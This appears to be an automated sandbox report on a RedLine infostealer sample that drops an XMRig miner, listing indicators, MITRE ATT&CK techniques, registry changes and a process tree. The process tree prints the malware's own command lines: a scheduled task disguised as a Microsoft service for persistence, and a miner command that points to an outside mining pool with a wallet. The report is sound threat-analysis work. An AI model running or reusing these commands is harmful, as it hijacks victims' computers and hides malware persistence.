redline | 677618666eb31c80e9dbecb17907676d2da2a39d24f7c20785ef577239ef5e6f

Analysis

max time kernel
43s
max time network
115s
platform
windows7_x64
resource
win7v20201028
submitted
23-02-2021 09:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

TI.exe
Size

2.5MB
MD5

a5d3fdf55abb54ec0b632dee9d3459d4
SHA1

c177421eb77f0d341e5d1bd6cfbccb60e0c86a1c
SHA256

677618666eb31c80e9dbecb17907676d2da2a39d24f7c20785ef577239ef5e6f
SHA512

4faafc484d66545a3355ba4d76da6dd021b556a06ec5b15fa8b4b8a4f1161b44ffad5e654991cf658fc6bd49b458e59586155dfdf339e1150b278ff5b9a41324

Score

10^/10

redline xmrig discovery evasion infostealer miner spyware themida trojan

Malware Config

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Detected Stratum cryptominer command
Looks to be attempting to contact Stratum mining pool.
miner
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

XMRig Miner Payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/632-32-0x000000013F320000-0x00000001404D8000-memory.dmp	xmrig

Executes dropped EXE 3 IoCs

pid	Process
620	4q23ttwg.exe
1016	1pbrc0xw.exe
632	cpu.exe

Checks BIOS information in registry 2 TTPs 6 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1pbrc0xw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1pbrc0xw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4q23ttwg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4q23ttwg.exe

Loads dropped DLL 3 IoCs

pid	Process
1784	TI.exe
1784	TI.exe
1016	1pbrc0xw.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

themida 11 IoCs

Detects Themida, Advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/memory/1784-5-0x0000000000B40000-0x0000000000B41000-memory.dmp	themida
behavioral1/files/0x00080000000130ed-8.dat	themida
behavioral1/files/0x00080000000130ed-10.dat	themida
behavioral1/memory/620-14-0x00000000008D0000-0x00000000008D1000-memory.dmp	themida
behavioral1/files/0x00090000000130f0-16.dat	themida
behavioral1/files/0x00090000000130f0-18.dat	themida
behavioral1/memory/1016-23-0x0000000000BE0000-0x0000000000BE1000-memory.dmp	themida
behavioral1/files/0x00090000000130f0-25.dat	themida
behavioral1/files/0x00030000000130f2-35.dat	themida
behavioral1/files/0x00030000000130f2-37.dat	themida
behavioral1/memory/912-41-0x00000000002F0000-0x00000000002F1000-memory.dmp	themida

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	TI.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4q23ttwg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1pbrc0xw.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1784	TI.exe
620	4q23ttwg.exe
1016	1pbrc0xw.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
760	schtasks.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	TI.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	TI.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	TI.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	1pbrc0xw.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	1pbrc0xw.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe
1016	1pbrc0xw.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1784	TI.exe
Token: SeDebugPrivilege	1016	1pbrc0xw.exe
Token: SeLockMemoryPrivilege	632	cpu.exe
Token: SeLockMemoryPrivilege	632	cpu.exe
Token: SeDebugPrivilege	620	4q23ttwg.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1784 wrote to memory of 620	1784	TI.exe	29
PID 1784 wrote to memory of 620	1784	TI.exe	29
PID 1784 wrote to memory of 620	1784	TI.exe	29
PID 1784 wrote to memory of 620	1784	TI.exe	29
PID 1784 wrote to memory of 1016	1784	TI.exe	30
PID 1784 wrote to memory of 1016	1784	TI.exe	30
PID 1784 wrote to memory of 1016	1784	TI.exe	30
PID 1784 wrote to memory of 1016	1784	TI.exe	30
PID 1016 wrote to memory of 760	1016	1pbrc0xw.exe	31
PID 1016 wrote to memory of 760	1016	1pbrc0xw.exe	31
PID 1016 wrote to memory of 760	1016	1pbrc0xw.exe	31
PID 1016 wrote to memory of 760	1016	1pbrc0xw.exe	31
PID 1016 wrote to memory of 632	1016	1pbrc0xw.exe	34
PID 1016 wrote to memory of 632	1016	1pbrc0xw.exe	34
PID 1016 wrote to memory of 632	1016	1pbrc0xw.exe	34
PID 1016 wrote to memory of 632	1016	1pbrc0xw.exe	34

C:\Users\Admin\AppData\Local\Temp\TI.exe
"C:\Users\Admin\AppData\Local\Temp\TI.exe"
1⤵
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1784
- C:\Users\Admin\AppData\Local\4q23ttwg.exe
  "C:\Users\Admin\AppData\Local\4q23ttwg.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:620
- C:\Users\Admin\AppData\Local\1pbrc0xw.exe
  "C:\Users\Admin\AppData\Local\1pbrc0xw.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Loads dropped DLL
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1016
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 1 /tn "Windows Service © Microsoft Corporation" /tr "C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe" /f
    3⤵
    - Creates scheduled task(s)
    PID:760
- - C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe
    "C:\Users\Admin\AppData\Roaming\Windows\CPU\cpu.exe" -o stratum+tcp://pool.minexmr.com:4444 --algo cn/r -u 42ZYH6myZTcdLqfmCpSCggN8ppdku4PK16kH8UFFyTesddFwT5ihd2QFsWS2BGnuwXWfnrtbJbr5w7dqgeBRZDJcUzia53j./ --donate-level=1
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:632

C:\Windows\system32\taskeng.exe
taskeng.exe {CB74EA49-E2CB-4D8F-BEDE-C81CA726F63F} S-1-5-21-3825035466-2522850611-591511364-1000:EIDQHRRL\Admin:Interactive:[1]
1⤵
PID:1312
- C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe
  C:\Users\Admin\AppData\Roaming\Windows\RantimeBroker.exe
  2⤵
  PID:912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/620-22-0x00000000055C0000-0x00000000055C1000-memory.dmp

Filesize
4KB

Download
memory/620-13-0x0000000073E00000-0x00000000744EE000-memory.dmp

Filesize
6.9MB

Download
memory/620-14-0x00000000008D0000-0x00000000008D1000-memory.dmp

Filesize
4KB

Download
memory/632-34-0x00000000002B0000-0x00000000002D0000-memory.dmp

Filesize
128KB

Download
memory/632-33-0x0000000000270000-0x0000000000290000-memory.dmp

Filesize
128KB

Download
memory/632-32-0x000000013F320000-0x00000001404D8000-memory.dmp

Filesize
17.7MB

Download
memory/632-31-0x00000000000F0000-0x0000000000104000-memory.dmp

Filesize
80KB

Download
memory/912-40-0x0000000073E00000-0x00000000744EE000-memory.dmp

Filesize
6.9MB

Download
memory/912-41-0x00000000002F0000-0x00000000002F1000-memory.dmp

Filesize
4KB

Download
memory/912-43-0x00000000055B0000-0x00000000055B1000-memory.dmp

Filesize
4KB

Download
memory/1016-27-0x0000000005370000-0x0000000005371000-memory.dmp

Filesize
4KB

Download
memory/1016-23-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

Filesize
4KB

Download
memory/1016-21-0x0000000073E00000-0x00000000744EE000-memory.dmp

Filesize
6.9MB

Download
memory/1784-7-0x00000000055B0000-0x00000000055B1000-memory.dmp

Filesize
4KB

Download
memory/1784-2-0x00000000760D1000-0x00000000760D3000-memory.dmp

Filesize
8KB

Download
memory/1784-5-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/1784-4-0x0000000073E00000-0x00000000744EE000-memory.dmp

Filesize
6.9MB

Download